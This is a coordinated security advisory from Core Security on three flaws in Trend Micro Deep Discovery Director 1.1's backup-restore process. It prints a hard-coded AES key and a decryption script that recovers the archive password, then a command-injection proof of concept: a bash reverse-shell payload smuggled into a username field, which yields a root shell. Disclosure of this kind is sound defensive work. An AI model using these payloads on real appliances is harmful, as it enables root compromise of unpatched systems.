Trend Micro Deep Discovery Director Multiple Vulnerabilities

Trend Micro Deep Discovery Director Multiple Vulnerabilities

1. Advisory Information

Title: Trend Micro Deep Discovery Director Multiple Vulnerabilities
Advisory ID: CORE-2017-0005
Advisory URL: http://www.coresecurity.com/advisories/trend-micro-deep-discovery-director-multiple-vulnerabilities
Date published: 2017-07-12
Date of last update: 2017-08-02
Vendors contacted: Trend Micro
Release mode: Coordinated release

2. Vulnerability Information

Class: Improper Neutralization of Special Elements used in an OS Command [CWE-78], Use of Hard-coded Cryptographic Key [CWE-321], Insufficient Verification of Data Authenticity [CWE-345]
Impact: Code execution
Remotely Exploitable: Yes
Locally Exploitable: Yes
CVE Name: CVE-2017-11381, CVE-2017-11380, CVE-2017-11379

3. Vulnerability Description

Trend Micro's website states that:

Trend Micro Deep Discovery Director 1.1 [1] is an on-premises management solution that enables centralized deployment of product updates, product upgrades, and Virtual Analyzer images to Deep Discovery products, as well as configuration replication of Deep Discovery products.

Multiple vulnerabilities were found in the backup restore process of the Deep Discovery Director application, which would allow an attacker with access to the management console to execute commands as root.

4. Vulnerable Packages

  • Trend Micro Deep Discovery Director 1.1 (Build 1241)

Other products and versions might be affected, but they were not tested.

5. Vendor Information, Solutions and Workarounds

Trend Micro published the following Critical Patch:

6. Credits

These vulnerabilities were discovered and researched by Maximiliano Vidal from Core Security Consulting Services. The publication of this advisory was coordinated by Alberto Solino from Core Advisories Team.

7. Technical Description / Proof of Concept Code

The on-premise solution consists of a hardened virtual appliance that provides no remote access other than the Web management console. Users with local access to the virtual machine are locked into a pre-configuration console, from which the administrator can do the initial network setup. Shell access is not allowed.

The Web management console consists of a Flask application served with nginx.

The following sections describe the problems found with the backup/restore mechanism and detail how to gain code execution as root. Note that these actions assume that the attacker is authenticated within the Web console.

7.1. Backups are not validated

[CVE-2017-11379] Configuration and database backup archives are not signed or validated in any form other than having to be encrypted with a hard-coded password that seems to be static across all appliances (see 7.2 for more details). This means that the application will gladly try to restore archives that have been tampered with.

7.2. Hard-coded archive password

[CVE-2017-11380] Backup archives were found to be encrypted with a static password across several different test installations, which suggests that the same password is being used in all the virtual appliance instances.

The BackupManager class details how these archives are generated:

    class BackupManager(object):
        [...]
        _AES_KEY = '9DBD048780608B843A0294CD'

        def __init__(self, is_manual = False, file_struct = None, target_partition = None, config_ini = None, config_db = None, config_systemfile = None, agent_file = None, meta_file = None, backup_path = None, backup_zip = None, backup_pw = None, restore_path = None, restore_statusfile = None):
            [...]
            decryptor = AESCipher(self._AES_KEY)
            self.backup_pw = backup_pw if backup_pw else decryptor.decrypt(RESTORE_ZIP_PW)
            [...]
          

backup_pw is used to create the archive in the backup_ddd method:

    @with_file_lock(LOCK_UPDATE_IN_PROGRESS, blocking=False)
    @check_shutdown
    def backup_ddd(self):
        LOG.debug('Start to backup DDD')
        [...]
        os.chdir(tmp_backup_fd)
        filelist = [ f for f in os.listdir('./') ]
        compress_file(self.backup_zip, filelist, password=self.backup_pw, keep_directory=True)
          

...and it is used again to decrypt the archive:

    @with_file_lock(LOCK_UPDATE_IN_PROGRESS, blocking=False)
    @check_shutdown
    def upload_package(self, stream, file_name):
        if not self._extract_meta(self.restore_zip):
            LOG.debug('Failed to extract meta')
            self._clean_uploaded_package()
            update_status(status=self.STATUS_FAIL, error=RESTORE_INVALID_PACKAGE.code)
            raise PBobServerCommonException(RESTORE_INVALID_PACKAGE)
    [...]

    def _extract_meta(self, restore_zip):
        command = ['unzip',
         '-P',
         self.backup_pw,
         '-p',
         restore_zip,
         self.meta_file]
        fd = file(self.meta_fp, 'w')
        p = subprocess.Popen(command, stdout=fd, stderr=subprocess.PIPE)
        ret = p.wait()
        fd.flush()
        fd.close()
        if ret != 0:
            LOG.error('Fail to unzip meta file. ret: {}, stderr:[{}]'.format(ret, p.stderr))
            ret = False
        else:
            ret = True
        return ret
          

RESTORE_ZIP_PW is defined in the common_modules/common/constants.pyc file as follows:

    RESTORE_ZIP_PW = 'hZrMrlTvOhiM9GaDirYQ/HQ3JSalxGOXTsJDy9gde2Q='
          

The password can be decrypted with the following script:

    #!/usr/bin/env python

    import base64
    import sys

    from Crypto import Random
    from Crypto.Cipher import AES

    class AESCipher(object):

        def __init__(self, key):
            self.key = key

        def encrypt(self, raw):
            pad = lambda s, bs: s + (bs - len(s) % bs) * chr(bs - len(s) % bs)
            raw = pad(raw, 16)
            iv = Random.new().read(AES.block_size)
            cipher = AES.new(self.key, AES.MODE_CBC, iv)
            return base64.b64encode(iv + cipher.encrypt(raw))

        def decrypt(self, enc):
            enc = base64.b64decode(enc)
            iv = enc[:16]
            cipher = AES.new(self.key, AES.MODE_CBC, iv)
            unpad = lambda s: s[:-ord(s[len(s) - 1:])]
            return unpad(cipher.decrypt(enc[16:]))

    # From backup_manager.pyc
    _AES_KEY = '9DBD048780608B843A0294CD'

    decryptor = AESCipher(_AES_KEY)

    if len(sys.argv) == 2:
        print "Decrypted: %s" % decryptor.decrypt(sys.argv[1])

    $ python decrypt.py hZrMrlTvOhiM9GaDirYQ/HQ3JSalxGOXTsJDy9gde2Q=
    Decrypted: BRpixiebob0101
          

7.3. Command injection

[CVE-2017-11381] Taking advantage of the vulnerabilities presented in sections 7.1 and 7.2, an attacker can create valid backup archives that the application will try to restore. Such archives contain database contents, the Web server certificates, etc., but do not provide an obvious way to execute arbitrary commands.

However, a command injection exists in the code that restores the accounts that can access the pre-configuration console.

The method _restore_textUI_accounts is called as part of the backup restore process:

    def _restore_textUI_accounts(self, tmp_restore_fd):
        restore_path = '{}{}{}'.format(tmp_restore_fd, self.file_struct['accounts'], self.accounts_file)
        if isfile(restore_path):
            LOG.debug('Restore textUI accounts.')
            with open(restore_path, 'r') as f:
                backup_accounts = json.load(f)
                LOG.debug('content:[{}]'.format(backup_accounts))
            if 'textUI_accounts' in backup_accounts:
                cipher = AESCipher(self._AES_KEY)
                decryptor = AESCipher(self._AES_KEY)
                with open('/etc/passwd', 'r') as f:
                    for line in f:
                        fields = line.split(':')
                        if fields[0] == 'root':
                            continue
                        account_to_compare = cipher.encrypt(fields[0])
                        if fields[6].strip('\n') == '/opt/TrendMicro/Pixiebob/textUI/admin_shell' or account_to_compare in backup_accounts['textUI_accounts']:
                            LOG.debug('Remove user:[{}]'.format(fields[0]))
                            os.system('/usr/sbin/userdel --remove {}'.format(fields[0]))

                for tui_account in backup_accounts['textUI_accounts']:
                    plain_account = decryptor.decrypt(tui_account)
                    plain_hash = decryptor.decrypt(backup_accounts['textUI_accounts'][tui_account])
                    if plain_account == 'root':
                        continue
                    LOG.debug('Restore user:[{}]'.format(plain_account))
                    os.system('/usr/sbin/useradd "{}"'.format(plain_account))
                    os.system('chsh -s "/opt/TrendMicro/Pixiebob/textUI/admin_shell" "{}"'.format(plain_account))
                    os.system("echo '{}:{}' | chpasswd -e".format(plain_account, plain_hash))

            else:
                LOG.debug('Could not find textUI accounts in backup account file, skip.')
        else:
            LOG.debug('No backup account file, skip.')
        

The method starts by loading the contents of the backup_accounts.json file and checking for the 'textUI_accounts' key. If such property exists, the application will read encrypted username:password pairs from it and process them.

Prior to restoring accounts read from the JSON file, the application will call the /usr/sbin/userdel command to remove system accounts added by the Deep Discovery Director. These accounts are identified by having the shell set to /opt/TrendMicro/Pixiebob/textUI/admin_shell or being included in the JSON file.

Finally, the JSON contents are traversed again in the for loop (see for tui_account in backup_accounts['textUI_accounts']). Each username:password pair is decrypted with the code shown in 7.2 and then added to the system via the /usr/sbin/useradd command, setting the shell to admin_shell and updating the password.

These calls to system are problematic, because input taken from the backup file is supplied without sanitization.

Take the first call to system() as an example:

    os.system('/usr/sbin/useradd "{}"'.format(plain_account))
        

The plain_account variable corresponds to the username that will be added. If this value is set to ";bash -i >& /dev/tcp/192.168.0.4/8888 0>&1;echo " (with the quotes included), then the restore process will open a reverse shell to 192.168.0.4. It is worth noting that these actions run with root privileges, resulting in a reverse root shell.

The backup_accounts.json file should have the following format:

    {
        "textUI_accounts": {
            "username": "password hash"
        }
    }
        

Username should be set to the arbitrary command to execute, which in this case is the reverse shell payload. The password hash does not matter, because we are not really going to add any user.

These values need to be encrypted with the 'encrypt' function outlined in section 7.2. A sample malicious file with the username set to our reverse shell payload would look as follows:

    {
        "textUI_accounts": {
            "hnOcMCXfxOivXziHo6BiFZJjLcwLoVw9o08YCETqbFd5dwaN0X0FdEhOKB+KTK1bvgZUxs685bxeRK8ZrkWfqGuWfZKBCAPU7DBzI+PbhPA=": "O6TCdUvIyaUrEFl8pnGTf4JTH5fKc4oinyga8gWZIPd7qGB0+IPk6n1J5GckvoCCht0pPxXwJ21INJAMZc38qRSAi27311eGKyF6VRWQ1IjK4bj9BNf0h95bdUJ9GhETfEuoTbyEpD7lP3I0Z2vJS2118DZozhCbgTGHPbP+Rx0="
        }
    }
        

The malicious archive should be created with the password shown in 7.2. Once uploaded, the restore process will execute the injected command and spawn a shell.

    $ nc -lv 8888
    bash: no job control in this shell
    # id
    id
    uid=0(root) gid=0(root) groups=0(root)
        

8. Report Timeline

  • 2017-05-30: Core Security sent an initial notification to Trend Micro, including a draft advisory.
  • 2017-05-30: Trend Micro confirmed reception of advisory and informed they will submit it to the relevant technical team for validation and replication.
  • 2017-06-14: Core Security asked for an update on the vulnerability reported.
  • 2017-06-16: Trend Micro reported they are still working on this submission and need time to strategize how to fully implement the appropiate solution.
  • 2017-06-23: Trend Micro reported they already have the patch for the reported vulnerabilities and provided a link for download. They'd like to discuss coordinated disclosure of the advisory.
  • 2017-06-27: Core Security confirmed reception of the information and answered saying a review of the patch will be done and after that we will communicate the final date for the advisory publication.
  • 2017-07-04: Core Security asked for CVE IDs to Trend Micro since they are now a CVE Numbering Authority (CNA).
  • 2017-07-05: Trend Micro reported since they're new to the CNA process getting CVE IDs might take a few weeks.
  • 2017-07-05: Core Security asked they can get the CVE IDs by next Monday in order to publish the advisory at July 12th.
  • 2017-07-05: Trend Micro reported they won't be able to provide CVEs for the requested date. Proposed to do coordinated disclosure without CVE IDs.
  • 2017-07-05: Core Security proposed publication to be Wednesday July 12th with CVE-pending-assignment for each vulnerability reported.
  • 2017-07-06: Trend Micro acknowledged and agreed on the release date.
  • 2017-07-12: Advisory CORE-2017-0005 published.

9. References

[1] http://docs.trendmicro.com/en-us/enterprise/deep-discovery-director.aspx

10. About CoreLabs

CoreLabs, the research center of Core Security, is charged with anticipating the future needs and requirements for information security technologies. We conduct our research in several important areas of computer security including system vulnerabilities, cyber attack planning and simulation, source code auditing, and cryptography. Our results include problem formalization, identification of vulnerabilities, novel solutions and prototypes for new technologies. CoreLabs regularly publishes security advisories, technical papers, project information and shared software tools for public use at: http://corelabs.coresecurity.com.

11. About Core Security

Core Security provides companies with the security insight they need to know who, how, and what is vulnerable in their organization. The company's threat-aware, identity & access, network security, and vulnerability management solutions provide actionable insight and context needed to manage security risks across the enterprise. This shared insight gives customers a comprehensive view of their security posture to make better security remediation decisions. Better insight allows organizations to prioritize their efforts to protect critical assets, take action sooner to mitigate access risk, and react faster if a breach does occur.

Core Security is headquartered in the USA with offices and operations in South America, Europe, Middle East and Asia. To learn more, contact Core Security at (678) 304-4500 or info@coresecurity.com

12. Disclaimer

The contents of this advisory are copyright (c) 2017 Core Security and (c) 2017 CoreLabs, and are licensed under a Creative Commons Attribution Non-Commercial Share-Alike 3.0 (United States) License: http://creativecommons.org/licenses/by-nc-sa/3.0/us/